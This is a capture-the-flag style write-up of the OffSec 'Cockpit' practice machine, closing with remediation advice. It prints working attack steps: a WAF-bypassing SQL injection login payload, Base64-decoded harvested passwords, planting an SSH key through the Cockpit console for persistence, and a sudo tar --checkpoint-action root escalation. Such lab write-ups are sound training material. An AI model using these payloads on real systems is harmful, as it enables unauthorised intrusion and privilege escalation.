PT1 certified | OSCP in progress

Cockpit – OffSec Practice Writeup

Cockpit OffSec Proving Grounds Practice writeup cover

This Cockpit OffSec Practice writeup walks through a WAF-bypass SQL injection to harvest credentials, the Cockpit admin console on port 9090 for an SSH foothold, and a sudo tar wildcard rule abused for root.

Summary

Cockpit is a medium Linux box that chains a web authentication bypass with an over-permissive remote administration console. The web application on port 80 exposes a login form vulnerable to SQL injection; a naive OR 1=1 payload is caught by a WAF, but a boolean-true condition slips past it and dumps the user table, whose passwords are merely Base64-encoded.

SSH is hardened to accept public keys only, so the harvested passwords appear useless — until we notice the Cockpit administration console on port 9090. Cockpit authenticates against the host PAM stack, so the credentials log us straight in. From the Accounts panel we add our own SSH public key, converting the web session into a real SSH foothold. Finally, a sudo rule allowing tar with a wildcard is abused through tar’s --checkpoint-action to execute a shell as root.

Reconnaissance

rustscan -a 192.168.188.10 -- -A -oN target
PORTSERVICEINFO
22/tcpOpenSSH 8.2p1 Ubuntu 4ubuntu0.5Ubuntu Linux; public-key authentication only
80/tcpApache httpd 2.4.41 (Ubuntu)HTTP title: blaze; hosts a login panel
9090/tcpCockpit web service 198 – 220Redirects to https://192.168.188.10:9090/; Linux admin console

Three services stand out: a hardened SSH daemon, an Apache site, and a Cockpit administration console.

Web enumeration (port 80)

Directory fuzzing of the Apache site surfaces a login panel. Typical default credentials fail, so we probe for injection:

  • Submitting a single quote ' triggers a MySQL error, confirming the input reaches an unsanitised SQL query.
  • The classic ' or 1=1-- - payload is blocked by a WAF.
  • A logically-equivalent boolean condition that avoids the blacklisted pattern bypasses the WAF and the login:
' and 2=2-- -

This dumps two users with Base64-encoded passwords:

james     Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=
cameron   dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy

Decoding them from Base64:

echo 'Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=' | base64 -d   # canttouchhhthiss@455152
echo 'dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy' | base64 -d # thisscanttbetouchedd@455152
james:canttouchhhthiss@455152
cameron:thisscanttbetouchedd@455152

Initial access

SSH refuses the credentials because the daemon only accepts public keys — password authentication is disabled. The Cockpit web service on port 9090 is the way in: Cockpit authenticates against the host’s local PAM stack, so any valid OS account can log in through the browser.

We browse to the console and authenticate as james with the recovered password:

https://192.168.188.10:9090/
# james : canttouchhhthiss@455152

Cockpit lets a user manage their own authorized SSH keys. We generate a key pair on our attacking host:

ssh-keygen -t ed25519 -f ./id_ed25519 -N ""

In Cockpit, under Accounts → james → Authorized public SSH keys, we paste the contents of id_ed25519.pub. The web session is now a persistent SSH foothold:

ssh james@192.168.188.10 -i id_ed25519

With a shell as james, we read the user flag:

james@blaze:~$ cat local.txt

Privilege escalation

Checking james‘s sudo rights reveals a passwordless rule for tar with a wildcard argument:

james@blaze:~$ sudo -l
User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

The trailing * expands to every entry in the current directory, so we can smuggle in tar’s --checkpoint options as if they were filenames. tar treats --checkpoint-action=exec=<cmd> as a legitimate argument and executes <cmd> while archiving — a classic GTFOBins escape. We run it from a writable directory and point the action at a shell:

james@blaze:~$ sudo /usr/bin/tar -czvf /tmp/backup.tar.gz * \
  --checkpoint=1 --checkpoint-action=exec=/bin/sh

Even though tar reports it cannot write the archive (the destination is not writable by the invoking context), the checkpoint action has already fired, dropping us into a root shell:

# id
uid=0(root) gid=0(root) groups=0(root)

From here we read the root flag:

# cat /root/proof.txt

Conclusion

Cockpit is a tidy lesson in how hardening one service means nothing if an equivalent authentication path is left wide open. The SSH daemon was correctly locked to public-key authentication, yet the same OS passwords — recovered through a trivially bypassable WAF and Base64 "encryption" — granted full access through the Cockpit console on port 9090. Cockpit then handed us a legitimate mechanism to install our own SSH key, turning a browser login into durable remote access.

The root causes compound: a login form concatenating user input into SQL, a WAF that blacklists one payload shape instead of fixing the query, passwords stored as reversible Base64, and an administration console exposed to the network authenticating against the same credentials. The final sudo tar * rule is the canonical wildcard-injection footgun.

Remediation: use parameterised queries instead of a WAF; store passwords with a slow salted hash; firewall Cockpit (or disable cockpit.socket) where browser administration is not required, and apply the same authentication policy across every PAM-backed service; and never grant sudo on binaries like tar that offer command-execution primitives — scope backup jobs to fixed paths owned by root.

Index